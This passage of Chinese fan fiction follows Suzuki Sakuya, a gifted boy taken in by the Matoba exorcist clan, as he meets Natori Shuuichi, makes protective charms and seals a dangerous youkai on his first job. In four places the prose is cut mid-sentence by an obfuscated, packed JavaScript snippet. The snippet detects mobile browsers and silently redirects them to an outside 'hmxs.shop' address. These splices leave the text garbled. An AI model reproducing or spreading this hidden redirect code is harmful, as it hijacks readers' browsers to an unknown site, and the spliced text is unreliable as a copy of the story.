侍者正打量着,朔也突然转头看向他。 侍者被吓得往后退了两步,“好的,请、请进!” 两人顺利地混进了聚会的大厅。 朔也好奇地四处张望,时间应该还早,大厅里的人和式神都不算太多,莫名有些萧条的样子。 但是!桌上琳琅满目的点心让这里的气氛又显得热闹起来。 “静司先生,我们要怎么偷吃呀?” 朔也的声音比刚才更小了一些。 正站在桌边的的场静司低头看向他,打量了一下他和桌子的高度,然后突然伸手,一把将朔也推进了桌子底下。 朔也一头雾水地蹲在桌底,还没反应过来就看见的场静司跟着钻了进来。 静司取下面具,开朗笑道:“好了,朔也,你想吃什么?” “诶?!!!” 虽然这样似乎挺合理,但朔也实在没能把静司先生和躲在桌子底下偷吃联系起来。 朔也看着的场静司就这样撩开桌布,从桌上偷下来一块点心,然后笑眯眯地递给自己。 “啊,看上去就很美味呢~” 这样说着的的场静司很快就故技重施给自己也偷了一块。 朔也拿着香甜的点心,歪头想了想。 果然,平时温柔强大的静司先生时常会有不可思议的奇怪一面呢! 但非常有趣,而且看到这样的静司先生,朔也觉得很开心。 两个人就这样坐在桌底很认真地偷吃着,没过多久,朔也就察觉大厅里的人多了起来,人和妖怪的气息充斥着整个空间,就连桌底的空气也逐渐变得浑浊。 周围交谈的声音愈发稠密,有各种寒暄,也有讨论妖怪话题的,还有不少提及了的场家。 朔也暗暗竖起耳朵,正想捕捉到更多声音,突然一只手撩开桌布,一个半蹲着身子的人低头看了过来。 “啊,是周一啊,好久不见。”的场静司冲那人打了个招呼。 糟糕!被人发现了!朔也吓了一跳,手里的点心掉到了地上。 但看进来的那人也一副被吓到的样子,他惊诧地探进身来,在的场静司的邀请下莫名其妙地加入了正偷吃的两人。 “作为的场家的下一代首领候补,你在这种地方做什么呢?” 似乎和的场静司熟识的年轻人一边揉着不小心撞到桌面的头,一边抱怨似的问道。 “啊!竟然还带着小孩子。”视线终于捕捉到朔也身影的年轻人更惊讶了,“这是……” “我的弟弟哦。” 的场静司的声音不自觉地上扬,像是在炫耀一般。 “铃木朔也,正在的场家修习的孩子。” “朔也,这位是名取家的除妖师名取周一。” 朔也端正地坐好,而后鞠躬行礼,“名取先生,我是铃木朔也,初次见面,请多关照!” 名取被朔也突然正式的礼仪惊得有些手忙脚乱,他郑重地和朔也打过招呼,再面对的场静司时又变回了随意的态度。 “的场,为什么把这么小的孩子带到这种场合来?” “的场家没打算参加这种聚会,我只是过来打探消息而已,朔也和我一样,觉得很有趣呢。” 朔也看着交谈的两人,心想,这位名取先生应该是静司先生交好的朋友吧,静司先生看起来很放松的样子。 在两人聊天的间隙,名取注意到,安静跪坐在一旁的男孩一直盯着他的方向,好像在看他,又好像在看着别的什么。 虽然有些奇怪,但和的场静司比起来,着实是乖巧可爱的孩子。 是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751154|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饿了吗?还是觉得听他们说话很无聊呢? 名取想着,学着的场静司刚刚偷点心的样子,拿了一块甜点递给他。 朔也愣了一下,有些羞涩地接过来。 名取先生,似乎和静司先生一样,是一个很温柔的人。 “那就先这样吧,下次再见了,周一。” 在朔也默默吃完点心的同时,的场静司似乎听到了什么声音,匆匆和名取告别,带着朔也迅速溜走了。 * “静司先生,那位名取先生,身上有一只妖怪。” 当两人走到人少一些的角落时,朔也突然小声说道。 的场静司看向朔也,很是惊讶。 “你能看见吗?” 他刚刚在名取身上嗅到了一股烧焦的味道,但是不太明显,所以只是有些怀疑。 朔也摇摇头,“看不太清楚,那只妖怪很虚弱。” 想了想,他又补充道:“但很凶恶,名取先生大概做过什么,它很讨厌名取先生。” 的场静司看着朔也的眼睛,一时有些失语。 他知道朔也很有天赋,七濑也多次和他感慨过,但他们似乎依然低估了朔也拥有的力量。 的场静司不禁感叹了一声,“真是了不得……”他下意识猜测,是否是那只异瞳的缘故。 “嗯?什么?”朔也没有听清。 的场静司回过神,解释道:“大概是周一不小心招惹了什么吧。” 朔也皱起眉,“那……名取先生会很危险吗?” 他担心地求证道:“名取先生是除妖师,应该会驱逐那个妖怪的,对吧?” “也许……”的场静司若有所思,“会很棘手也说不定。” “那怎么办呢?” 朔也两条小小的眉毛几乎快皱到一起去了。 “朔也真的很在意呢。”的场静司笑着摸了摸男孩的头,“别担心,会有办法的。” 这孩子大概是因为周一被妖怪依附而想到了曾经的遭遇。 铃木慎吾没有告知过细节,但的场静司从朔也的那些噩梦里窥见了些许端倪。 朔也会对靠近人类的妖怪过于警惕,也是情有可原。 * 那天的偷吃之旅,最终以两人被七濑逮住而结束。 对朔也来说,那是一段特别有意思的经历,当然,除开发现名取先生被妖怪依附的事情。 朔也确实非常在意,尤其是在听的场静司讲过名取周一的事情之后。 名取先生也来自没落的除妖师家族,作为家族中唯一能看见妖怪的后代,曾经遭遇过不少麻烦。 这让朔也有种同病相怜的感觉,也因此对这件事格外关心。 但现在还很弱小的他,似乎也无法给予名取先生什么有用的帮助。 在不安地纠结了几天之后,朔也画了几张守护符咒交给了的场静司。 “现在能够熟练画出来的只有这个符,所以……”朔也有些难为情,“不知道能不能帮到名取先生……” 的场静司拿起符咒,他能感受到符咒里蕴含的力量,非常充沛。 “应该会很有用哦,朔也。” 的场静司将符咒放进一旁的背包里,微笑着说道:“接下来就交给我吧。” 5. 第五章 祓除 * 和的场静司预想的那样,依附在名取周一身上的妖怪十分棘手,名取翻遍了家里的资料都没能找到对应的记载。 不知道如何驱逐,又不能足够冷酷地从可怜的陌生妖怪那里交换到祓除的方法,更因为别扭的心态无法向其他人求助…… 到底该怎么做呢? 到底还能做什么呢? 身为除妖师,却对依附自身的妖怪束手无策,这让本就对现况感到迷惘的名取更加挫败。 那个妖怪,正在名取日复一日的拖延中变得强大,与之对应的,他的身体也日益虚弱。 而在这个时候主动找上门来的的场静司,让名取在感到意外的同时,也悄悄松了口气。 * “咦?这个符咒都赶不走吗?” 看到贴上符咒后毫无反应的名取,的场静司重新在背包里翻找起来。 名取取下头上的符,看着的场静司像个学艺不精的巫医学徒一样,从装满道具的包里随机拿起一些在他身上挨个试过,无奈地抱怨。 “你不会是在拿我做实验吧?” “啊,被猜到了吗?”的场静司随意而坦率地解释道:“我不是专门为了你过来的哟,不过是利益一致而已。” 名取还没来得及对这样看似冷漠的说法给出回应,的场静司突然从包里掏出新的符咒。 “啊,试试这个吧!”他笑说道:“这是朔也特意让我给你的守护符咒,那孩子真的很担心你哦。” “诶?!” 的场静司眼疾手快地把符咒再次贴到了名取的头上。 “啊!痛!” 没想到守护符竟然瞬间起了作用,浓烈的妖气从名取被依附的右臂溢出,妖怪嚎叫着现出身形。 这一次驱逐用的符咒终于派上了用场,两人默契地一同念出真言,成功将妖怪从名取的身上剥离开来。 的场静司拿出早已准备好的陶壶,打开封印,低声呢喃了一句什么,陶壶里便冲出一股更强劲的妖气,幻化成形似管狐的样子,一口将妖怪吞噬殆尽。 名取刚想询问那是什么东西,就因为过度虚弱晕了过去。 * 等再次清醒时,名取周一发现自己已经安稳地躺在了自家的宅子里。 看着一旁还未离开的场静司,名取心里的疑问实在太多了,一时竟不知从何问起。 反而是坐在走廊上的的场静司显得很悠然,甚至很有闲情逸致地对名取家的宅院给出评价。 “很漂亮的庭院啊。” 名取心想,这家伙果然很擅长自说自话。 他看向对方身边放着的那个封印着未知之物的陶壶,突然明白了那句“利益一致”是什么意思。 是为了用自己身上的妖怪喂养壶里的那个东西吗? 这样看来,对方的确不是特意来帮他驱逐妖怪的。 但,着实帮了自己大忙。 啊,还有那个孩子的守护符咒! “那个,守护符,请代我谢谢铃木君。” 名取其实很意外,他和那个孩子只不过短暂地见过一面而已,对方竟然挂念着他。 “嗯,朔也会很高兴的。”的场静司微笑着说道:“他和你有过相似的经历,所以很在意你。” “是这样吗……” 名取想起那个“的场家即将过继一个极有天赋的孩子”的传言。 出生在没落除妖师家族,却有能看见妖怪的能力,因为被妖怪袭击不得不寻求的场家的庇护…… 名取不太确定,加入的场家,对那孩子来说,算是一种幸运么? 他再次看向的场静司身边的陶壶。 作为的场家的成员,静司似乎正饲养着奇怪而危险的东西,这种做法…… “的场,你为什么要在陶壶里养那个东西呢?”名取忍不住问道。 的场静司看向陶壶。 为什么呢? 作为除妖师家族,的场一门因为曾经的背信之举无法和妖怪缔结式神契约。 这当然会被其他除妖师嘲笑奚落,但这种来自同行的排挤,对的场静司来说无关紧要。 的场一门追求的是力量,如何让妖怪有用并且为他们所用,是可以用任何手段达成的目的。 不过,可能正因为笃信这个理念,以至于某些时候也会控制不住地看向相反的方向。 这样的话,时不时会萌发出一些奇怪的想法,也是合理的吧…… “只有这个家伙,稍微愿意听我说话哟。” 这种回答就像是随口的敷衍,名取一时无法确信。 的场静司补充道:“至少在不久前是这样。”他的声音稍微扬起了一些,“现在的话……” 现在的话,要说有什么不同,就是很愿意待在他身边的朔也吧。 当然,很多人都十分积极地愿意跟随他——一个拥有能力且被现任首领看好的候选继任者——随之而来的喧嚣时常将他包裹其中,但这样的热闹,不过是徒增寂寞罢了。 会和看不见妖怪的普通人区隔开是理所当然,但即便在除妖师的圈子里,他也因种种原因无法与某个人真的相互了解。 他并不是一个惧怕寂寞的人,只是偶尔会觉得无聊。 有时候他会好奇拥有一个真正的式神是什么感觉,和某个妖怪出于各自的意愿缔结公平的契约,听上去像是建立了一种能够互相理解的情谊,因此得以在漫长的时间里作为彼此的同伴…… 还真是奇怪啊,人类和妖怪竟然可以达到这种程度的羁绊吗? 出身于的场这样的家族,他不喜欢、也不亲近妖怪。 但如果真的有一个这样的式神的话,他一定会好好珍惜它的。 或者更准确地说,妖怪也好、人类也好、其他未知的东西也好,只要有这样一个属于他的同伴…… “是因为铃木君吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751155|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 的场静司的思绪被打断,他转头看向名取,笑道:“我如果说这样的话,大概会让他觉得很困扰吧。” 被他人单方面地抱有过高的期待,然后被按照他人的意愿塑造成某个样子,这和被的场家不择手段操控的妖怪又有什么区别呢? 名取看着的场静司的微笑,总觉得这家伙有点寂寞,他无奈地说道:“至少,别对那孩子乱来啊。” “嘛,真的很好奇我在周一眼里是什么样的人。” 的场静司拿着陶壶站起身,他也该告辞了。 * 当得知依附在名取周一身上的妖怪被成功驱除时,朔也大大地松了口气。 “太好了!”朔也一个劲地感叹道:“静司先生好厉害!” “朔也的守护符咒帮了大忙哦。” 的场静司将一个精致的点心盒递给朔也,笑眯眯地说道:“这是周一给你的谢礼。” “诶?真的有帮忙吗?”朔也兴奋地问道。 “当然,那些符咒力量很强,是难缠的妖怪也很想远离的东西。” 朔也的眼睛亮亮的,脸颊却因羞于这样的称赞染上了淡淡的粉色。 “静司先生,我会努力的!” 的场静司从刚才开始就一直蠢蠢欲动的手终于忍不住放到了朔也毛茸茸的头顶上。 “啊,真有精神呢。” “朔也少爷,学校制服送来了,要来试一下吗?”千夏在门外问道。 朔也应了一声,把点心盒放到桌上叮嘱道:“名取先生的谢礼,晚餐后静司先生和我一起吃吧!” 的场静司欣然同意,随即看向桌上的日历。 哦呀,马上就要到第二学期开学的日子了。 朔也作为转校生,应该没什么问题吧…… 在这方面,的场静司没有多少能够指导朔也的经验。 他在学校里一直独来独往,哪怕同级生大多都是和他一样从小学部直升到高中部的,但因为每年都重新分班,他能记住脸的同学屈指可数。 和他不一样,朔也是个开朗的孩子,大概很擅长交朋友。 这么想着的的场静司,就在晚上发现朔也把不少符咒装进了第二天要用的书包里。 总是会在包里放上各种除妖术具的的场静司一开始没有反应过来,直到看见朔也微皱的眉头,才意识到对方的担忧。 “学校里很干净哦,朔也。”的场静司笑着安慰道:“的场家是学校的董事之一,在校内设置了结界,一般的妖怪是无法进入的。” 朔也惊讶地睁大眼睛,再一次清晰地感受到的场家带来的安全感。 “如果想更安心的话,带上符咒也没关系,这对除妖师来说可是好习惯。” “嗯!”朔也开心地点点头。 的场静司坐在矮桌前,撑着头看朔也井井有条地整理着东西,若有所思。 朔也对妖怪的防备,似乎有点过头了。 6. 第六章 委托 * 除了妖怪以外,朔也没什么可担心的,转校对他来说影响不大。 也可能是从小就得应付各种妖怪的缘故,朔也觉得人类沟通起来容易太多了,虽然他在原来的学校没有什么特别交好的朋友,但同学关系都很正常。 “铃木同学,你是从哪里转学过来的?” “啊,你的手怎么了?是受伤了吗?” “铃木同学,你喜欢什么活动项目呀,有想加入的社团吗?” “……” 老实说,朔也对新同学们表现出的热情感到很意外,以及,有点难以招架。 “呃……” 正在朔也犹豫说些什么的时候,一个身影站到了他的桌旁。 “喂,你们围在这里干什么?吵死了!” 明显冷淡且不悦的语气。 “啊,是高杉!” “什么啊,好凶啊他……” “走了走了,别惹他啦!” 聚集在朔也桌前的女孩们一哄而散,松了口气的朔也好奇地看向一旁。 “我说你啊,新来的家伙,不想回答的话就得直接拒绝啊。” 说着很不客气的话的,是个眼神锐利的高个子男孩,神情冷淡,带着一种天然的厌烦,但他的头发是看上去特别柔软的栗子色自然卷,这中和了他冷淡的气质,有种矛盾的可爱。 “我只是一时没反应过来。”朔也眨了眨眼,微笑道:“谢谢你帮我解围。” 男孩打量了他一会儿,坐到朔也侧后方的座位上,语气比之前稍微缓和了一点。 “高杉飒真,我的名字。” 高杉的视线撇向朔也缠着绷带的双手,冷不丁问道:“很严重吗,你的手?” “啊,其实已经没什么问题了。” 高杉冷淡地点点头,结束了话题。 朔也忍不住多看了他几眼,这位新同学让他有点莫名其妙的熟悉感。 努力琢磨了一会儿,朔也才恍然明白过来。 是静司先生啊! 这种直率到让人有冲击感的说话方式。 很奇怪,但有趣。 * 学校开学并不影响朔也依然有一个满满当当的日程表,他没有参加放学后的社团,而是回的场家学习除妖师相关的东西,有时候他也会帮七濑女士制作符咒。 “说起来,朔也学得很快呢,要试试退治妖怪吗?” 朔也画符咒的手顿了一下,一滴墨滴到了符纸上。 啊,失败了。 朔也小心地放下了毛笔。 “当然,不是什么可怕的妖怪,只是一些喜欢捉弄人的恶劣家伙。” 七濑看着朔也,温和地说道:“如果你感兴趣的话,下次可以和其他除妖师一起接受委托。” 让朔也参与处理委托是的场静司的决定,七濑并不赞成,尽管无论是她还是静司都很早开始参与了,但朔也显然和在除妖师家族中成长的他们不一样。 只是在这件事情上,的场静司的坚持显得十分冷酷。 “如果朔也拒绝呢?难道要强迫那孩子吗?” 当七濑这么问的时候,的场静司笑道:“不,朔也不会拒绝的。” 朔也确实没有拒绝。 他只是略想了想,就同意了。 * “这里是委托人祖上的旧宅,因常年无人居住逐渐败落了,最近有附近的居民反映宅子里有奇怪的动静,委托人想让我们调查一下,确定没有异常后再将这里拆除重建。” 被称呼为“佐野”的除妖师和朔也如此解释道。 “了解了,谢谢佐野先生。”朔也礼貌地点点头,问道:“请问有这座宅子的建造图纸吗?” “有的,不过因为年代久远,图纸破损严重,再加上宅子过去可能修整过,图纸不一定精准。” 佐野将图纸递给朔也,不动声色地打量他。 佐野平时不怎么去的场本宅那边,这是他第一次见到这个传言中的孩子。 寡言、冷静、警惕,完全不像是第一次参与委托的新人,虽然免不了有些稚嫩,但已经具备强者的姿态了。 两人对过图纸,在宅院周围查看了一圈,然后一起进入宅子。 这是一座类似的场本家的传统和式大宅,襖门和障子门的组合让内部空间可以灵活地变动,再加上长长的走廊,行走其间的时候很容易被迷惑。 朔也跟在佐野的身后,仔细查看四周。 从一楼到阁楼,两人慢慢走了一遍,没发现什么异常。 “看上去很干净。”佐野看向朔也,“铃木君,你觉得呢?” 阁楼里很空旷,朔也在里面随意地走动着,佐野询问后没多久,他就在一处地方停了下来。 “佐野先生,我想再去二楼看看,可以吗?” “当然,我陪你过去吧。” 朔也没有回答佐野的问题,佐野并不在意,这次委托在他看来就是带教新人除妖师,而新人们为了表现自己的能力,总是会显得勤快一些。 两人下到二楼,把二楼重新巡视了一遍,最后朔也在一间和室里停了下来。 朔也抬头看了看天花板,又低头看向脚下。 “怎么了?有什么发现吗?” 佐野凑了过来,学着朔也的样子上下仔细查看,却没瞧出什么端倪。 朔也看了佐野一眼,确定对方没有看见他看到的东西,于是解释道:“这里有妖怪的痕迹。” “咦?在哪里?” 佐野顺着朔也的指引看向脚下,反复看了几遍才反应过来,那是力量足够强的人才能看到的痕迹。 “啊,铃木君果然如传言一般,力量强大呢!” 自己能看见的东西别人却看不见,这样的感觉朔也再熟悉不过了,他原本以为除妖师之间不会有太大差别的…… 佐野的称赞让朔也感到尴尬的同时,心里泛起隐隐的失落和不知为何而来的挫败。 “这个痕迹很不明显。”朔也低声解释道。 实际上,脚下的痕迹只有一枚硬币的大小,如同一小撮煤灰被抖落在了榻榻米上,稍不注意就会错过。朔也是因为感到微弱的妖气残留才发现它的。 “佐野先生,我们去一楼吧。” “诶?好的。” 两人的主导权不知不觉已经调换过来。 同样在一楼重新巡视了一遍,朔也在对应二楼和室的房间里停下,看着榻榻米上类似、但更明显一些的痕迹,朔也确定道:“就是这里!” 佐野将信将疑,“呃,确定是这里吗?但我没有感觉到任何妖气……” “妖气很微弱,好像被封印了一样。” 朔也打开制造图纸,再次对应着看起来。 “佐野先生,这位委托人的家族之前是做什么的呢?” “啊,据说祖上曾是富甲一方的地主,后来借助姻亲关系开始从政了,现在算是地方上的政治世家吧……有什么问题吗?” “这种家族……”朔也看着图纸,不确定地问道:“会在家里设置结界或者阵法之类的吗?” 佐野想了想,说道:“倒是有可能,不过委托人没提及过这样的事。况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751156|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且要是有的话,我们也不至于一点都察觉不到。” 图纸破损严重,朔也想看的那部分正好被损毁了,他打量了一下脚下,暗叹一声。 “佐野先生,要不我们召唤妖怪试试吧。” 眼下也没有更好的办法了,佐野答应下来。 两人在痕迹对应的地方设置了一圈阵法,朔也举起符咒。 「游形窥影,请映出不可见之物,真容具现!」 随着朔也的话音落下,狰狞的妖气仿佛寻找到出口一般,从阵法中奔涌而出,一团诡异的形态夹杂着妖气显露出来。 朔也后退了两步,看向阵法中姿态扭曲拼命挣扎着的妖怪,隐约觉得不太对劲。 “铃木君,小心!” 佐野一边叮嘱朔也,一边举着陶壶,甩出一张封印符咒。 那符咒在靠近妖怪的一瞬间,突然被诡异的红色火焰燃烧殆尽,而中间的妖怪则扭曲得更夸张了,原本刺耳的嘶吼更是化为尖啸,让人难以忍受。 “等等,佐野先生,它后面……” 朔也的话还没来得及说完,佐野已经射出了破魔的符纸。 妖怪在哀嚎中被祓除殆尽。 朔也的神经却更加紧绷,他高喊道:“下面还有东西,小心!” 但不等佐野反应过来,原本的阵法瞬时被血色般的妖气吞噬,原本温度正常的和室一秒化为极寒之地,森冷的杀意如有形一般刮过皮肤。 这是一只恐怖的、即将要从沉睡中醒来的大妖。 朔也似乎瞬间回到了不久前那个夜晚,因妖气冲击而产生的疼痛何其相似。 他应该害怕的,但此刻不允许他有一丁点的胆怯。 这样可怖的大妖,如果不在他彻底醒来之前重新封印,会造成极为可怕的后果。 所以,无论付出什么代价,都得立即封印它。 朔也迅速从怀里掏出他原本以为用不着的阵法符纸,咬破手指匆忙地画上五芒印。 「风止其鸣,川凝其声。」 朔也用力摁下符纸,在让人窒息的妖气里艰难地吟诵出声。 「山岳为牢,云月为锁。」 妖气躁动得愈发厉害,朔也的手颤抖着几乎抓不住符纸,他怀疑自己的手被什么东西刺穿了。 突然,一只手覆盖到朔也的手上,熟悉的声音在耳畔响起。 「凭此纹缚,囚眠归寂——镇!」 两个声音重叠在一起,阵法闪耀出幽幽的光亮。 蓬勃的妖气像是不甘心一般剧烈地挣扎了一下,终于在阵法的压制下退回了地下。 朔也双手撑地,大口喘息着勉强维持跪坐的姿态,冷汗划过脸颊低落到地上。 得救了。 “朔也,还好吗?” 是的场静司的声音。 朔也想开口,却实在太累了,光是呼吸都费力极了。 覆在朔也手上的那只手,轻轻回握。 朔也的肩也被温柔地揽住。 “好好休息吧。” 朔也顺着身后的力量,听话地往后倒去,整个人彻底放松下来。 * 朔也躺在车里,全身酸软,像一块新出锅的年糕,连眼皮都不听指挥,黏黏糊糊的阖在一起。 只有大脑还停留在之前的刺激中,思绪缥缈地晕眩着。 耳边有人在轻声说话,有人轻轻地托着他的手,几乎没有力道一般地贴着什么东西。 这过于温柔了。 朔也含糊地想着,其实不需要这样。 他觉得很安心,就足够了。 7. 第七章 道歉 * 铃木慎吾来看望朔也的时候,朔也已经在的场家躺平了一周。 除了被咬破的手指和新增的一些划伤外,他没什么大碍,只是力量透支太严重,整个人恹恹的,只好请假修养。 铃木慎吾当然非常生气,尤其是的场家在事情过去一周后才告知他,没有哪个父亲能忍受这样的隐瞒。 的场家主对他表示了理解,并当着他的面狠狠斥责了的场静司,这样示弱的态度让一直处于弱势一方的铃木慎吾不好再过多指责。 哪怕出于现实考量,如果让朔也离开的场家,还有哪个家族能庇护朔也呢?那些家族也不一定会比的场家更好。 不过铃木慎吾严肃地提出了条件,在朔也年满16岁之前,的场家不能再让朔也参与任何委托。 的场家主很爽快地答应了。 倒是朔也觉得没有必要。 这次的事情确实非常凶险,但明显是个意外,谁能想到那个家族的先辈会胆大到在祖宅底下禁锢一个凶暴的妖怪呢。 而这次经历也让朔也意识到一个问题,他的能力是不一样的。 他曾以为自己和他人的不同就是他能看见妖怪,当他进入的场家,见到了众多除妖师,就以为除妖师都和自己一样。 原来不是的。 之前佐野先生来探望过他,言辞之间对朔也的力量非常感叹,并直白地告诉他,那天如果朔也不在,他也许会被妖怪吃掉。 所以,朔也拥有着即便在除妖师中也不常见的能力。 这样带着羡慕的感叹和赞誉让朔也感到孤独,他不想看到只有自己能看到的东西。 “朔也在新的学校还适应吗?” 关心完朔也的身体,铃木开始关心他的校园生活。 “挺好的,大家都很友善。” 说着朔也想起那个叫高杉飒真的同班生,那么直率的性格,应该可以成为朋友吧。 * 精力恢复一些后,朔也就回到了学校。 在新同学们的眼里,他似乎已经成了一个因频繁受伤导致身体虚弱的人,大家都对他格外照顾起来。 朔也感到有些羞耻,本想说自己并没有大家想得那么虚弱,又不知如何解释。 手指上还裹着的纱布和脸颊上的创口贴会让他的辩白显得苍白无力。 至少高杉飒真是这么认为的。 “你是遇到什么麻烦了吗?” “诶?”朔也愣了一下。 “是校外的那些家伙?”高杉紧皱着眉,猜测道:“还是校内有人……” “啊,不是的!”朔也终于反应过来,“没人找我麻烦,只是不小心发生了点意外。” 高杉有些怀疑地打量着朔也多灾多难的双手,没再多说什么。 朔也微笑起来,真诚地感谢道:“高杉君,谢谢。” “嗯。”高杉冷淡地应了一声,过了一会儿他又解释道:“我家人在医院工作,所以我比较在意这些。” “这样啊。”朔也想了想也认真解释道:“我手指上的伤不严重,手掌和手臂上的绷带是为了挡住之前的旧伤疤,那些早已经痊愈了。” 高杉点点头,表情稍微舒展了一些。 朔也忍不住散发了一点联想,是不是直率的人都很温柔呢? * “朔也,我可以进来吗?” 听到熟悉的声音,朔也迅速爬起来拉开门,“静司先生,你回来啦?” 门外是看起来有些疲惫的的场静司。 朔也知道对方最近很忙碌,甚至有好几天没有回的场本宅。 两人走到桌边坐下,朔也打量着的场静司的神情,问道:“很累吗,静司先生?” “啊,抱歉,朔也。最近有太多事情要处理,都没能和你好好说话。” 的场静司像往常那般微笑着,但朔也却觉得他心情似乎不太好。 “静司先生是在忙那个妖怪的事情吗?”朔也想到之前的委托,关心问道:“很麻烦么?如果我可以帮忙的话……” “抱歉。” “诶?” 朔也对上的场静司的视线,对方正专注地看着他,神情很郑重。 “抱歉,朔也,让你遭遇这种事情,是我的责任。” 朔也愣住,又很快回神。 “静司先生为什么要道歉?那本来就是意外!” “而且如果没有静司先生及时赶到,我和佐野先生会更危险吧!” 的场静司移开视线,解释道:“其实七濑桑不建议让你处理委托,是因为我太坚持才……” “但是是我自己答应的!” 朔也皱着眉,坚持道:“静司先生,你一定是相信我能做到才建议让我参加的吧?而且我猜,你在像我这么大的时候就已经参与了对吗?” 的场静司没有说话。 “你觉得我和你一样,所以认为我可以做到。”朔也笃定地说道:“我确实做到了不是吗?虽然做得不够好……” “你做得很好。”的场静司感叹道:“远比同龄时的我做得更好。” 他继续解释道:“我让你参与这样的事,是觉得你在遭遇意外后对妖怪过于回避,所以想让你通过委托祛除对它们的畏惧。” “朔也,作为的场家未来的除妖师,有着过人天赋的你,是不可能躲在他人身后的。” 的场静司的声音平静到有些冷淡,仿佛剔除了情绪一般。 朔也点点头,“我知道的,静司先生。” “这样的话,你更不应该向我道歉才对。” 的场静司一时有些语塞。 “静司先生一直在保护我啊,所以才能那么及时地出现。” 朔也一直记得两人初次见面时对方的承诺,静司先生是个言而有信的人。 的场静司很久未说话,朔也抬头看过去,才发现对方正撑着脸盯着他发呆。 “静司先生很困了哎,快去休息吧!” 的场静司叹了口气,露出无奈的微笑。 “朔也啊,很温柔哟。” 朔也微红着脸,抱怨道:“会为和自己无关的事情道歉,明明静司先生才是最温柔的那个。” 的场静司笑出声来,伸手揉搓了一把朔也的头发,声音比之前更有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751157|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精神了一些。 “妖怪的事情别担心,已经处理好了。那家委托人应付的赔偿改天就会送过来,朔也不能拒绝哦。” “啊?赔偿?” “嗯,他们的祖辈为了家族兴盛,强行禁锢了一只大妖,最近大妖的封印有所松动,会故意吸引附近的妖怪然后吞噬掉。” 的场静司微皱着眉,神情十分冷淡,“明明有这种事他们却未提前告知,这是很严重的过错,只让他们做出应有的赔偿已经是顾及往日情分的结果。” 朔也似懂非懂地点了点,“好的,我会收下的。” 他乖巧的样子让的场静司心情好了一些。 “那么明天见吧,朔也,晚安。” 的场静司像甩掉了什么负担一般,伸了个懒腰,慢吞吞地走出门去。 朔也想了想,叫住他。 “静司先生,我不怕妖怪,我只是……很厌恶它们。” “明白了,除妖师朔也先生。” 门被关上,朔也回味了一下,突然嘿嘿偷笑起来。 * 朔也本以为倒霉的事情已经告一段落,结果却在早上刷牙时不小心磕掉了一颗乳牙。 是上牙里的犬齿,算是掉落地比较晚了。 朔也仔细瞅了瞅,很小的一颗,似乎没比一颗纳豆大多少。 在铃木家,孩子的乳牙会被收集在专门的陶瓷牙盒里,一方面是当地本就有这样的民俗,另一方面也是这些和身体有关的东西对除妖师来说很重要,会被妥善保存起来,铃木家哪怕败落也依然留存了这种传统。 牙盒存放在铃木家,于是朔也只能先把这一小颗犬齿放在糖盒里,下次再让父亲带回去。 而一起吃早餐时,发现朔也还在换牙期的的场静司有些怔愣,他好像直到现在才真正意识到,朔也还是个很小的、乳牙还未换完的小孩子。 虽然朔也有着比如怕黑、怕做噩梦这样孩子气的一面,但在近半年的相处中,他超出年龄的专注、克制以及理解力,都让的场静司不知不觉以对待可靠同龄人的方式来对待他。 所以自己完全是一厢情愿地在勉强朔也吧! 啊,觉得之前的自己更过分了。 深刻反省着的的场静司开始想办法弥补。 “朔也来这里之后都没有好好玩耍过吧?”的场静司思忖着问道:“要不要去游乐园之类的地方?或者动物园、海洋馆?还是冒险公园?” “唔……”朔也认真思考起来。 虽然不知道静司先生为什么突然提起这个,但好像挺希望自己出门逛逛的,上次也问过自己有没有想去的地方,然后带自己去了除妖师的聚会,很有趣。 朔也脱口而出,“像上次那样的除妖师聚会?” 的场静司几乎想都没想就拒绝了,“不行哦,等朔也再大一些吧。” “哦。” 朔也又想了一会儿,他对那些地方没有特别的偏好。 倒是的场静司突然提议道:“海洋馆怎么样?” “好呀!” 朔也连忙点头。 出去玩的事情就这么定了下来。 8. 第八章 妖怪 * 